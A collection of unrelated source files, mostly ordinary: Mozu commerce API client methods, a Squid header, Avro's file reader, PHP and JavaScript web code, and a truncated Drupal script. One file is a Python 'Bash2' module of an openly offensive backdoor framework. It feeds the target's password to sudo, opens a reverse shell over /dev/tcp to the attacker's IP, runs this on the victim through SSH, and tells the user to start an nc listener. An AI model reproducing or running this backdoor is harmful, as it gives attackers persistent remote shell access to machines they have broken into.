		MozuClient<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice> client = com.mozu.api.clients.commerce.catalog.admin.products.ProductVariationClient.updateProductVariationLocalizedDeltaPriceClient(_dataViewMode,  localizedDeltaPrice,  productCode,  variationKey,  currencyCode,  responseFields);
		client.setContext(_apiContext);
		client.executeRequest();
		return client.getResult();

	}

	/**
	 * Updatesthe localized delta price value for a product variation. Localized delta prices are deltas between two differing monetary conversion amounts between countries, such as US Dollar vs Euro.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	CountDownLatch latch = productvariation.updateProductVariationLocalizedDeltaPrice( localizedDeltaPrice,  productCode,  variationKey,  currencyCode,  responseFields, callback );
	 *	latch.await()	 *

	 * @param currencyCode The three character ISO currency code, such as USD for US Dollars.
	 * @param productCode The unique, user-defined product code of a product, used throughout Mozu to reference and associate to a product.
	 * @param responseFields Use this field to include those fields which are not included by default.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @param  callback callback handler for asynchronous operations
	 * @param localizedDeltaPrice The difference between the base price for the product and this variation of the product, which can be a positive or negative decimal value. For example, if the base price for a t-shirt product is $10, but the XL variation should cost $12, the DeltaPrice value should be "2". However, if the XS variation should only cost $8, the DeltaPrice value should be "-2".
	 * @return com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 */
	public CountDownLatch updateProductVariationLocalizedDeltaPriceAsync(com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice localizedDeltaPrice, String productCode, String variationKey, String currencyCode, String responseFields, AsyncCallback<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice> callback) throws Exception
	{
		MozuClient<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice> client = com.mozu.api.clients.commerce.catalog.admin.products.ProductVariationClient.updateProductVariationLocalizedDeltaPriceClient(_dataViewMode,  localizedDeltaPrice,  productCode,  variationKey,  currencyCode,  responseFields);
		client.setContext(_apiContext);
		return client.executeRequest(callback);

	}

	/**
	 * Modifies the details of a variation, based on the supplied variation key, for the specified product code.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	ProductVariation productVariation = productvariation.updateProductVariation( productVariation,  productCode,  variationKey);
	 *

	 * @param productCode Merchant-created code that uniquely identifies the product such as a SKU or item number. Once created, the product code is read-only.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @param productVariation Properties of a specific product variation.
	 * @return com.mozu.api.contracts.productadmin.ProductVariation
	 * @see com.mozu.api.contracts.productadmin.ProductVariation
	 * @see com.mozu.api.contracts.productadmin.ProductVariation
	 */
	public com.mozu.api.contracts.productadmin.ProductVariation updateProductVariation(com.mozu.api.contracts.productadmin.ProductVariation productVariation, String productCode, String variationKey) throws Exception
	{
		return updateProductVariation( productVariation,  productCode,  variationKey,  null);
	}

	/**
	 * Modifies the details of a variation, based on the supplied variation key, for the specified product code.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	CountDownLatch latch = productvariation.updateProductVariation( productVariation,  productCode,  variationKey, callback );
	 *	latch.await()	 *

	 * @param productCode Merchant-created code that uniquely identifies the product such as a SKU or item number. Once created, the product code is read-only.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @param  callback callback handler for asynchronous operations
	 * @param productVariation Properties of a specific product variation.
	 * @return com.mozu.api.contracts.productadmin.ProductVariation
	 * @see com.mozu.api.contracts.productadmin.ProductVariation
	 * @see com.mozu.api.contracts.productadmin.ProductVariation
	 */
	public CountDownLatch updateProductVariationAsync(com.mozu.api.contracts.productadmin.ProductVariation productVariation, String productCode, String variationKey, AsyncCallback<com.mozu.api.contracts.productadmin.ProductVariation> callback) throws Exception
	{
		return updateProductVariationAsync( productVariation,  productCode,  variationKey,  null, callback);
	}

	/**
	 * Modifies the details of a variation, based on the supplied variation key, for the specified product code.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	ProductVariation productVariation = productvariation.updateProductVariation( productVariation,  productCode,  variationKey,  responseFields);
	 *

	 * @param productCode Merchant-created code that uniquely identifies the product such as a SKU or item number. Once created, the product code is read-only.
	 * @param responseFields Use this field to include those fields which are not included by default.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @param productVariation Properties of a specific product variation.
	 * @return com.mozu.api.contracts.productadmin.ProductVariation
	 * @see com.mozu.api.contracts.productadmin.ProductVariation
	 * @see com.mozu.api.contracts.productadmin.ProductVariation
	 */
	public com.mozu.api.contracts.productadmin.ProductVariation updateProductVariation(com.mozu.api.contracts.productadmin.ProductVariation productVariation, String productCode, String variationKey, String responseFields) throws Exception
	{
		MozuClient<com.mozu.api.contracts.productadmin.ProductVariation> client = com.mozu.api.clients.commerce.catalog.admin.products.ProductVariationClient.updateProductVariationClient(_dataViewMode,  productVariation,  productCode,  variationKey,  responseFields);
		client.setContext(_apiContext);
		client.executeRequest();
		return client.getResult();

	}

	/**
	 * Modifies the details of a variation, based on the supplied variation key, for the specified product code.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	CountDownLatch latch = productvariation.updateProductVariation( productVariation,  productCode,  variationKey,  responseFields, callback );
	 *	latch.await()	 *

	 * @param productCode Merchant-created code that uniquely identifies the product such as a SKU or item number. Once created, the product code is read-only.
	 * @param responseFields Use this field to include those fields which are not included by default.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @param  callback callback handler for asynchronous operations
	 * @param productVariation Properties of a specific product variation.
	 * @return com.mozu.api.contracts.productadmin.ProductVariation
	 * @see com.mozu.api.contracts.productadmin.ProductVariation
	 * @see com.mozu.api.contracts.productadmin.ProductVariation
	 */
	public CountDownLatch updateProductVariationAsync(com.mozu.api.contracts.productadmin.ProductVariation productVariation, String productCode, String variationKey, String responseFields, AsyncCallback<com.mozu.api.contracts.productadmin.ProductVariation> callback) throws Exception
	{
		MozuClient<com.mozu.api.contracts.productadmin.ProductVariation> client = com.mozu.api.clients.commerce.catalog.admin.products.ProductVariationClient.updateProductVariationClient(_dataViewMode,  productVariation,  productCode,  variationKey,  responseFields);
		client.setContext(_apiContext);
		return client.executeRequest(callback);

	}

	/**
	 * Modifies the collection of variations for the specified product code. Because this PUT replaces the existing resource, supply all information necessary to maintain for the product variation.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	ProductVariationCollection productVariationCollection = productvariation.updateProductVariations( productVariations,  productCode);
	 *

	 * @param productCode Merchant-created code that uniquely identifies the product such as a SKU or item number. Once created, the product code is read-only.
	 * @param productVariations Collection of variations configured for a product.
	 * @return com.mozu.api.contracts.productadmin.ProductVariationCollection
	 * @see com.mozu.api.contracts.productadmin.ProductVariationCollection
	 * @see com.mozu.api.contracts.productadmin.ProductVariationCollection
	 */
	public com.mozu.api.contracts.productadmin.ProductVariationCollection updateProductVariations(com.mozu.api.contracts.productadmin.ProductVariationCollection productVariations, String productCode) throws Exception
	{
		return updateProductVariations( productVariations,  productCode,  null);
	}

	/**
	 * Modifies the collection of variations for the specified product code. Because this PUT replaces the existing resource, supply all information necessary to maintain for the product variation.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	CountDownLatch latch = productvariation.updateProductVariations( productVariations,  productCode, callback );
	 *	latch.await()	 *

	 * @param productCode Merchant-created code that uniquely identifies the product such as a SKU or item number. Once created, the product code is read-only.
	 * @param  callback callback handler for asynchronous operations
	 * @param productVariations Collection of variations configured for a product.
	 * @return com.mozu.api.contracts.productadmin.ProductVariationCollection
	 * @see com.mozu.api.contracts.productadmin.ProductVariationCollection
	 * @see com.mozu.api.contracts.productadmin.ProductVariationCollection
	 */
	public CountDownLatch updateProductVariationsAsync(com.mozu.api.contracts.productadmin.ProductVariationCollection productVariations, String productCode, AsyncCallback<com.mozu.api.contracts.productadmin.ProductVariationCollection> callback) throws Exception
	{
		return updateProductVariationsAsync( productVariations,  productCode,  null, callback);
	}

	/**
	 * Modifies the collection of variations for the specified product code. Because this PUT replaces the existing resource, supply all information necessary to maintain for the product variation.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	ProductVariationCollection productVariationCollection = productvariation.updateProductVariations( productVariations,  productCode,  responseFields);
	 *

	 * @param productCode Merchant-created code that uniquely identifies the product such as a SKU or item number. Once created, the product code is read-only.
	 * @param responseFields A list or array of fields returned for a call. These fields may be customized and may be used for various types of data calls in Mozu. For example, responseFields are returned for retrieving or updating attributes, carts, and messages in Mozu.
	 * @param productVariations Collection of variations configured for a product.
	 * @return com.mozu.api.contracts.productadmin.ProductVariationCollection
	 * @see com.mozu.api.contracts.productadmin.ProductVariationCollection
	 * @see com.mozu.api.contracts.productadmin.ProductVariationCollection
	 */
	public com.mozu.api.contracts.productadmin.ProductVariationCollection updateProductVariations(com.mozu.api.contracts.productadmin.ProductVariationCollection productVariations, String productCode, String responseFields) throws Exception
	{
		MozuClient<com.mozu.api.contracts.productadmin.ProductVariationCollection> client = com.mozu.api.clients.commerce.catalog.admin.products.ProductVariationClient.updateProductVariationsClient(_dataViewMode,  productVariations,  productCode,  responseFields);
		client.setContext(_apiContext);
		client.executeRequest();
		return client.getResult();

	}

	/**
	 * Modifies the collection of variations for the specified product code. Because this PUT replaces the existing resource, supply all information necessary to maintain for the product variation.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	CountDownLatch latch = productvariation.updateProductVariations( productVariations,  productCode,  responseFields, callback );
	 *	latch.await()	 *

	 * @param productCode Merchant-created code that uniquely identifies the product such as a SKU or item number. Once created, the product code is read-only.
	 * @param responseFields A list or array of fields returned for a call. These fields may be customized and may be used for various types of data calls in Mozu. For example, responseFields are returned for retrieving or updating attributes, carts, and messages in Mozu.
	 * @param  callback callback handler for asynchronous operations
	 * @param productVariations Collection of variations configured for a product.
	 * @return com.mozu.api.contracts.productadmin.ProductVariationCollection
	 * @see com.mozu.api.contracts.productadmin.ProductVariationCollection
	 * @see com.mozu.api.contracts.productadmin.ProductVariationCollection
	 */
	public CountDownLatch updateProductVariationsAsync(com.mozu.api.contracts.productadmin.ProductVariationCollection productVariations, String productCode, String responseFields, AsyncCallback<com.mozu.api.contracts.productadmin.ProductVariationCollection> callback) throws Exception
	{
		MozuClient<com.mozu.api.contracts.productadmin.ProductVariationCollection> client = com.mozu.api.clients.commerce.catalog.admin.products.ProductVariationClient.updateProductVariationsClient(_dataViewMode,  productVariations,  productCode,  responseFields);
		client.setContext(_apiContext);
		return client.executeRequest(callback);

	}

	/**
	 * Deletes a variation, based on the supplied variation key, for the specified product code.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	productvariation.deleteProductVariation( productCode,  variationKey);
	 *

	 * @param productCode Merchant-created code that uniquely identifies the product such as a SKU or item number. Once created, the product code is read-only.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @return
	 */
	public void deleteProductVariation(String productCode, String variationKey) throws Exception
	{
		MozuClient client = com.mozu.api.clients.commerce.catalog.admin.products.ProductVariationClient.deleteProductVariationClient(_dataViewMode,  productCode,  variationKey);
		client.setContext(_apiContext);
		client.executeRequest();
		client.cleanupHttpConnection();

	}

	/**
	 * Deletes the localized delta price value for a product variation. Localized delta prices are deltas between two differing monetary conversion amounts between countries, such as US Dollar vs Euro.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	productvariation.deleteProductVariationLocalizedDeltaPrice( productCode,  variationKey,  currencyCode);
	 *

	 * @param currencyCode The three character ISO currency code, such as USD for US Dollars.
	 * @param productCode The unique, user-defined product code of a product, used throughout Mozu to reference and associate to a product.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @return
	 */
	public void deleteProductVariationLocalizedDeltaPrice(String productCode, String variationKey, String currencyCode) throws Exception
	{
		MozuClient client = com.mozu.api.clients.commerce.catalog.admin.products.ProductVariationClient.deleteProductVariationLocalizedDeltaPriceClient(_dataViewMode,  productCode,  variationKey,  currencyCode);
		client.setContext(_apiContext);
		client.executeRequest();
		client.cleanupHttpConnection();

	}

}


text:
#ifndef SQUID_MMAPPEDFILE_H
#define SQUID_MMAPPEDFILE_H

#include "cbdata.h"
#include "DiskIO/DiskFile.h"
#include "DiskIO/IORequestor.h"

class MmappedFile : public DiskFile
{

public:
    void *operator new(size_t);
    void operator delete(void *);
    MmappedFile(char const *path);
    ~MmappedFile();
    virtual void open(int flags, mode_t mode, RefCount<IORequestor> callback);
    virtual void create(int flags, mode_t mode, RefCount<IORequestor> callback);
    virtual void read(ReadRequest *);
    virtual void write(WriteRequest *);
    virtual void close();
    virtual bool error() const;
    virtual int getFD() const { return fd;}

    virtual bool canRead() const;
    virtual bool canWrite() const;
    virtual bool ioInProgress() const;

private:
    char const *path_;
    RefCount<IORequestor> ioRequestor;
    //RefCount<ReadRequest> readRequest;
    //RefCount<WriteRequest> writeRequest;
    int fd;

    // mmapped memory leads to SEGV and bus errors if it maps beyond file
    int64_t minOffset; ///< enforced if not negative (to preserve file headers)
    int64_t maxOffset; ///< enforced if not negative (to avoid crashes)

    bool error_;

    void doClose();

    CBDATA_CLASS(MmappedFile);
};

#endif /* SQUID_MMAPPEDFILE_H */

redpajama_set_name: RedPajamaGithub


text:
package javasmmr.zoowsome.models.animals;

public class Spider extends Insect
{
  public Spider(double maintenanceCost,double dangerPerc)
  {
	   super(maintenanceCost,dangerPerc);
	   this.setCanFly(true);
	   this.setIsDangerous(false);
	   this.setName("Spider");
	   this.setNrOfLegs(6);
  }

}


text:
A Swift framework for interacting with small.cat

# Usage

```swift
import KittyKit

let urlStringToShorten = "http://dantoml.com"
let expiry = URLExpiry.TenMins

let kittyLitter = APIClient()
kittyLitter.fetchAuthenticityToken { result in
  guard let token = result.left else {
      return
  }

  kittyLitter.submitURL(urlStringToShorten, expiry: expiry, token: token) { result in
      guard let url = result.left else {
          return
      }

      print(url)
  }
}

```


text:
package org.apache.avro.file;

import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.UnsupportedEncodingException;
import java.io.File;
import java.nio.ByteBuffer;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;

import org.apache.avro.Schema;
import org.apache.avro.io.DatumReader;
import org.apache.avro.io.Decoder;
import org.apache.avro.io.BinaryDecoder;
import org.apache.avro.io.Encoder;

/** Read files written by {@link DataFileWriter}.
 * @see DataFileWriter
 */
public class DataFileReader<D> {

  private Schema schema;
  private DatumReader<D> reader;
  private SeekableBufferedInput in;
  private Decoder vin;

  Map<String,byte[]> meta = new HashMap<String,byte[]>();

  private long count;                           // # entries in file
  protected long blockCount;                    // # entries in block
  byte[] sync = new byte[DataFileConstants.SYNC_SIZE];
  private byte[] syncBuffer = new byte[DataFileConstants.SYNC_SIZE];

  /** Construct a reader for a file. */
  public DataFileReader(File file, DatumReader<D> reader) throws IOException {
    this(new SeekableFileInput(file), reader);
  }

  /** Construct a reader for a file. */
  public DataFileReader(SeekableInput sin, DatumReader<D> reader)
    throws IOException {
    this.in = new SeekableBufferedInput(sin);

    byte[] magic = new byte[4];
    in.read(magic);
    if (!Arrays.equals(DataFileConstants.MAGIC, magic))
      throw new IOException("Not a data file.");

    long length = in.length();
    in.seek(length-4);
    int footerSize=(in.read()<<24)+(in.read()<<16)+(in.read()<<8)+in.read();
    in.seek(length-footerSize);
    this.vin = new BinaryDecoder(in);
    long l = vin.readMapStart();
    if (l > 0) {
      do {
        for (long i = 0; i < l; i++) {
          String key = vin.readString(null).toString();
          ByteBuffer value = vin.readBytes(null);
          byte[] bb = new byte[value.remaining()];
          value.get(bb);
          meta.put(key, bb);
        }
      } while ((l = vin.mapNext()) != 0);
    }

    this.sync = getMeta(DataFileConstants.SYNC);
    this.count = getMetaLong(DataFileConstants.COUNT);
    String codec = getMetaString(DataFileConstants.CODEC);
    if (codec != null && ! codec.equals(DataFileConstants.NULL_CODEC)) {
      throw new IOException("Unknown codec: " + codec);
    }
    this.schema = Schema.parse(getMetaString(DataFileConstants.SCHEMA));
    this.reader = reader;

    reader.setSchema(schema);

    in.seek(DataFileConstants.MAGIC.length);         // seek to start
  }

  /** Return the schema used in this file. */
  public Schema getSchema() { return schema; }

  /** Return the number of records in the file. */
  public long getCount() { return count; }

  /** Return the value of a metadata property. */
  public synchronized byte[] getMeta(String key) {
    return meta.get(key);
  }
  /** Return the value of a metadata property. */
  public synchronized String getMetaString(String key) {
    byte[] value = getMeta(key);
    if (value == null) {
      return null;
    }
    try {
      return new String(value, "UTF-8");
    } catch (UnsupportedEncodingException e) {
      throw new RuntimeException(e);
    }
  }
  /** Return the value of a metadata property. */
  public synchronized long getMetaLong(String key) {
    return Long.parseLong(getMetaString(key));
  }

  /** Return the next datum in the file. */
  public synchronized D next(D reuse) throws IOException {
    if (blockCount == 0) {
      advanceToNextBlock();
      if (blockCount == 0)
        return null; // at eof
    }

    blockCount--;
    return reader.read(reuse, vin);
  }

  protected D readRecordAt(D reuse, long position) throws IOException {
    in.seek(position);
    return reader.read(reuse, vin);
  }

  protected void advanceToNextBlock() throws IOException {
    while (blockCount == 0) { // at start of block
      if (in.tell() == in.length()) // at eof
        return;

      skipSync(); // skip a sync

      blockCount = readBlockHeader(vin); // read blockCount

      if (blockCount == DataFileConstants.FOOTER_BLOCK) {
        in.seek(vin.readLong() + in.tell()); // skip a footer
        blockCount = 0;
      }
    }
  }

  protected long readBlockHeader(Decoder decoder) throws IOException {
    return decoder.readLong();
  }

  protected long getPosition() throws IOException {
    return in.tell();
  }

  private void skipSync() throws IOException {
    vin.readFixed(syncBuffer);
    if (!Arrays.equals(syncBuffer, sync))
      throw new IOException("Invalid sync!");
  }

  /** Move to the specified synchronization point, as returned by {@link
   * DataFileWriter#sync()}. */
  public synchronized void seek(long position) throws IOException {
    in.seek(position);
    blockCount = 0;
  }

  /** Move to the next synchronization point after a position. */
  public synchronized void sync(long position) throws IOException {
    if (in.tell()+DataFileConstants.SYNC_SIZE >= in.length()) {
      in.seek(in.length());
      return;
    }
    in.seek(position);
    vin.readFixed(syncBuffer);
    for (int i = 0; in.tell() < in.length(); i++) {
      int j = 0;
      for (; j < sync.length; j++) {
        if (sync[j] != syncBuffer[(i+j)%sync.length])
          break;
      }
      if (j == sync.length) {                     // position before sync
        in.seek(in.tell() - DataFileConstants.SYNC_SIZE);
        return;
      }
      syncBuffer[i%sync.length] = (byte)in.read();
    }
  }

  /** Close this reader. */
  public synchronized void close() throws IOException {
    in.close();
  }

  private class SeekableBufferedInput extends BufferedInputStream {
    private long position;                        // end of buffer
    private long length;                          // file length

    private class PositionFilter extends InputStream {
      private SeekableInput in;
      public PositionFilter(SeekableInput in) throws IOException {
        this.in = in;
      }
      public int read() { throw new UnsupportedOperationException(); }
      public int read(byte[] b, int off, int len) throws IOException {
        int value = in.read(b, off, len);
        if (value > 0) position += value;         // update on read
        return value;
      }
    }

    public SeekableBufferedInput(SeekableInput in) throws IOException {
      super(null);
      this.in = new PositionFilter(in);
      this.length = in.length();
    }

    public void seek(long p) throws IOException {
      if (p < 0) throw new IOException("Illegal seek: "+p);
      long start = position - count;
      if (p >= start && p < position) {            // in buffer
        this.pos = (int)(p - start);
      } else {                                     // not in buffer
        this.pos = 0;
        this.count = 0;
        ((PositionFilter)in).in.seek(p);
        this.position = p;
      }
    }

    public long tell() { return position-(count-pos); }
    public long length() throws IOException { return length; }

    public int read() throws IOException {        // optimized implementation
      if (pos >= count) return super.read();
      return buf[pos++] & 0xff;
    }

    public long skip(long skip) throws IOException { // optimized implementation
      if (skip > count-pos)
        return super.skip(skip);
      pos += (int)skip;
      return skip;
    }
  }

}


text:
from backdoors.backdoor import *
import subprocess
import threading

class Bash2(Backdoor):
    prompt = Fore.RED + "(bash) " + Fore.BLUE + ">> " + Fore.RESET

    def __init__(self, core):
        cmd.Cmd.__init__(self)
        self.intro = GOOD + "Using second Bash module..."
        self.core = core
        self.options = {
                "port"   : Option("port", 53923, "port to connect to", True),
                }
        self.allow_modules = True
        self.modules = {}
        self.help_text = INFO + "A slightly different (and more reliable) version of the other bash backdoor, which does not prompt for the password on the client-side."

    def get_command(self):
        return "echo " + self.core.curtarget.pword + " | sudo -S nohup 0<&196;exec 196<>/dev/tcp/" + self.core.localIP + "/%s; sh <&196 >&196 2>&196" % self.get_value("port")

    def do_exploit(self, args):
        port = self.get_value("port")
        target = self.core.curtarget
        print(GOOD + "Initializing backdoor...")
        input("Run the following command: nc -vnlp %s in another shell to start the listener." % port)
        target.ssh.exec_command(self.get_command())

        for mod in self.modules.keys():
            print(INFO + "Attempting to execute " + mod.name + " module...")
            mod.exploit()


text:
package de.blacklabelops.backuprotator.rotator;

import java.time.LocalDateTime;
import java.util.List;

import de.blacklabelops.backuprotator.Bucket;
import de.blacklabelops.backuprotator.filehandler.FileHandler;
import de.blacklabelops.backuprotator.logbook.Logbook;
import de.blacklabelops.backuprotator.util.Utils;

public class DailyRotator extends AbstractRotator {

	public DailyRotator() {
		super();
	}

	public void rotateDaily(Logbook log, FileHandler handler, Bucket dailyBucket, Bucket weeklyBucket) {
		inspectFiles(handler, dailyBucket);
		rotateFiles(log, handler, dailyBucket, weeklyBucket);
	}

	private void inspectFiles(FileHandler handler, Bucket dailyBucket) {
		handler.listFiles(dailyBucket).forEach(fileName -> {
			LocalDateTime d = Utils.parseFilename(fileName);
			if (d == null) {
				return;
			}
			boolean isInCurrentWeek = Utils.isDateInCurrentWeek(d);
			if (!isInCurrentWeek) {
				dataMap.put(d, fileName);
				dates.add(d);
			}
		});
	}

	private void rotateFiles(Logbook log, FileHandler handler, Bucket dailyBucket, Bucket weeklyBucket) {
		List<LocalDateTime> requiredDates = Utils.getLatestDatesInEachWeek(dates);
		dataMap.forEach((dx, filename) -> {
			if (requiredDates.contains(dx)) {
				handler.moveFile(dailyBucket, weeklyBucket, filename, log);
			} else {
				handler.deleteFile(dailyBucket, filename, log);
			}
		});
	}
}


text:
<?php

/*
 * This file is part of the overtrue/wechat.
 *
 * (c) overtrue <i@overtrue.me>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

/**
 * MaterialServiceProvider.php.
 *
 * This file is part of the wechat.
 *
 * (c) overtrue <i@overtrue.me>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */
namespace EasyWeChat\Foundation\ServiceProviders;

use EasyWeChat\Material\Material;
use EasyWeChat\Material\Temporary;
use Pimple\Container;
use Pimple\ServiceProviderInterface;

/**
 * Class MaterialServiceProvider.
 */
class MaterialServiceProvider implements ServiceProviderInterface
{
    /**
     * Registers services on the given container.
     *
     * This method should only be used to configure services and parameters.
     * It should not get services.
     *
     * @param Container $pimple A container instance
     */
    public function register(Container $pimple)
    {
        $pimple['material'] = function ($pimple) {
            return new Material($pimple['access_token']);
        };

        $temporary = function ($pimple) {
            return new Temporary($pimple['access_token']);
        };

        $pimple['material_temporary'] = $temporary;
        $pimple['material.temporary'] = $temporary;
    }
}


text:
<?php

namespace Magento\Bundle\Test\Constraint;

use Magento\Catalog\Test\Constraint\AssertProductCustomOptionsOnProductPage;

/**
 * Assertion that commodity options are displayed correctly on bundle product page.
 */
class AssertProductCustomOptionsOnBundleProductPage extends AssertProductCustomOptionsOnProductPage
{
    /**
     * Flag for verify price data
     *
     * @var bool
     */
    protected $isPrice = false;
}


text:
var express = require('express'),
    bodyParser = require('body-parser'),
    app = express(),
    port = process.env.PORT || 3000,
    server = app.listen(port),
    superagent = require('superagent');

app.use(bodyParser.urlencoded({extended: true}));
app.use(express.static(__dirname + '/static'));

app.get('/', function (req, res) {
    res.send(__dirname + '/static/index.html');
});

function isValidToken(payload) {
    var token = process.env.TOKEN;
    return payload.token === token;
}

function isApprovedUser(payload) {
    var approvedUsers = ['ross', 'itsmerossw', 'libby', 'moose'];
    return approvedUsers.indexOf(payload.user_name) !== -1;
}

function isValidChannel(payload) {
    return payload.channel_name !== 'privategroup' && payload.channel_name !== 'directmessage';
}

function postMinistryMessage(payload, callback) {
    var message = {
            username: 'Ministry of Food and Drink',
            icon_url: 'http://ministry-poster.herokuapp.com/ministry_logo.jpg',
            channel: '#' + payload.channel_name,
            text: payload.text
        },
        webhook = process.env.WEBHOOK;
    superagent.post(webhook, message, function (err, res) {
        if (err) {
            return callback(res.error.text);
        }
        if (res.status !== 200) {
            console.log('Returned non 200 status code', res.text);
            return callback('Received' + res.status + ' response');
        }
        callback();
    })
}

app.post('/', function (req, res) {
    var payload = req.body;

    if (isValidToken(payload)) {
        if (isApprovedUser(payload)) {
            if (isValidChannel(payload)) {
                postMinistryMessage(payload, function (err) {
                    if (err) {
                        res.status(500).send(err);
                    } else {
                        res.status(200).end();
                    }
                });
            } else {
                res.send('Sorry - can\'t post in a private group or direct message.');
            }
        } else {
            res.send('Sorry - you are not an approved Ministry member.');
        }
    }
});


text:
<?php

  /**
  *@desc Included at the bottom of post.php and single.php, deals with all comment layout
  */

  if ( !empty($post->post_password) && $_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) :
?>

<?php _e('Enter your password to view comments.',"fatec-jogos"); ?>

<?php return; endif; ?>

<?php if ( comments_open() ) : ?>

<?php comments_number(__('No Comments',"fatec-jogos"), __('1 Comment',"fatec-jogos"), __('% Comments',"fatec-jogos")); ?>
	<a href="#postcomment" title="<?php _e("Leave a comment","fatecjogos"); ?>">»

	<?php if ( $comments ) : ?>

	<?php foreach ($comments as $comment) : ?>
		<li id="comment-<?php comment_ID() ?>">
	<?php echo get_avatar( $comment, 32 ); ?>
		<?php comment_text() ?>

<?php comment_type(__('Comment',"fatec-jogos"), __('Trackback',"fatec-jogos"), __('Pingback',"fatec-jogos")); ?> <?php _e('by',"fatec-jogos"); ?> <?php comment_author_link() ?> — <?php comment_date() ?> @ <a href="#comment-<?php comment_ID() ?>"><?php comment_time() ?> <?php edit_comment_link(__("Edit This","fatec-jogos"), ' |'); ?>

	<?php endforeach; ?>

	<?php else : // If there are no comments yet ?>

<?php _e('No comments yet.',"fatec-jogos"); ?>

	<?php endif; ?>
<?php endif; ?>

<?php if ( comments_open() ) : ?>

<?php _e('Leave a comment',"fatec-jogos"); ?>

<?php if ( get_option('comment_registration') && !$user_ID ) : ?>

<?php printf(__('You must be logged in to post a comment.',"fatec-jogos"), get_option('siteurl')."/wp-login.php?redirect_to=".urlencode(get_permalink()));?>

<?php else : ?>

<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">

<?php if ( $user_ID ) : ?>

<?php printf(__('Logged in as %s.',"fatec-jogos"), ''.$user_identity.''); ?> <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?action=logout" title="<?php _e('Log out of this account',"fatec-jogos") ?>"><?php _e('Logout »',"fatec-jogos"); ?>

<?php else : ?>

<input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="22" tabindex="1" />
<?php _e('Name',"fatec-jogos"); ?> <?php if ($req) _e('(required)',"fatec-jogos"); ?>

<input type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="22" tabindex="2" />
<?php _e('Mail (will not be published)',"fatec-jogos");?> <?php if ($req) _e('(required)',"fatec-jogos"); ?>

<input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="22" tabindex="3" />
<?php _e('Website',"fatec-jogos"); ?>

<?php endif; ?>

<textarea name="comment" id="comment" cols="100%" rows="10" tabindex="4"></textarea>

<input name="submit" type="submit" id="submit" tabindex="5" value="<?php echo attribute_escape(__('Submit Comment',"fatec-jogos")); ?>" />
<input type="hidden" name="comment_post_ID" value="<?php echo $id; ?>" />

<?php do_action('comment_form', $post->ID); ?>

</form>

<?php endif; // If registration required and not logged in ?>

<?php else : // Comments are closed ?>

<?php endif;
?>


text:
/**
* DO NOT EDIT THIS FILE.
* See the following change record for more information,
* https://www.drupal.org/node/2815083
* @preserve
**/

(function ($, Modernizr, Drupal) {
  function CollapsibleDetails(node) {
    this.$node = $(node);
    this.$node.data('details', this);

    var anchor = location.hash && location.hash !== '#' ? ', ' + location.hash : '';
    if (this.$node.find('.error' + anchor).length) {
      this.$node.attr('open', true);
    }

    this.setupSummary();

    this.setupLegend();
  }

  $.extend(CollapsibleDetails, {
    instances: []
  });

  $.extend(CollapsibleDetails.prototype, {
    setupSummary: function setupSummary() {
      this.$summary = $('');
      this.$node.on('summaryUpdated', $.proxy(this.onSummaryUpdated, this)).trigger('summaryUpdated');
    },
    setupLegend: function setupLegend() {
      var $legend = this.$node.find('> summary');

      $('').append(this.$node.attr('open') ? Drupal.t('Hide') : Drupal.t('Show')).prependTo($legend).after(document.createTextNode(' '));

      $('').attr('href', '#' + this.$node.attr('id')).prepend($legend.contents()).appendTo($legend);

      $legend.append(this.$summary).on('click', $.proxy(this.onLegendClick, this));
    },
    onLegendClick: function onLegendClick(e) {
      this.toggle();
      e.preventDefault();
    },
    onSummaryUpdated: function onSummaryUpdated() {
      var text = $.trim(this.$node.drupalGetSummary());
      this.$summary.html(text ? ' (' + text + ')' : '');
    },
    toggle: function toggle() {
      var _this = this;

      var isOpen = !!this.$node.attr('open');
      var $summaryPrefix = this.$node.find('> summary span.details-summary-prefix');
      if (isOpen) {
        $summaryPrefix.html(Drupal.t('Show'));
      } else {
        $summaryPrefix.html(Drupal.t('Hide'));
      }

      setTimeout(function () {
        _this.$node.attr('open', !isOpen);
      }, 0);
    }
  });

  Drupal.behaviors.collapse = {
    attach: function attach(context) {
      if (Modernizr.details) {
        return;
      }
      var $collapsibleDetails = $(context).find('details').once('collapse').addClass('collapse-processed');
      if ($collapsibleDetails.length) {
        for (var i = 0; i < $collapsibleDetails.length; i++) {
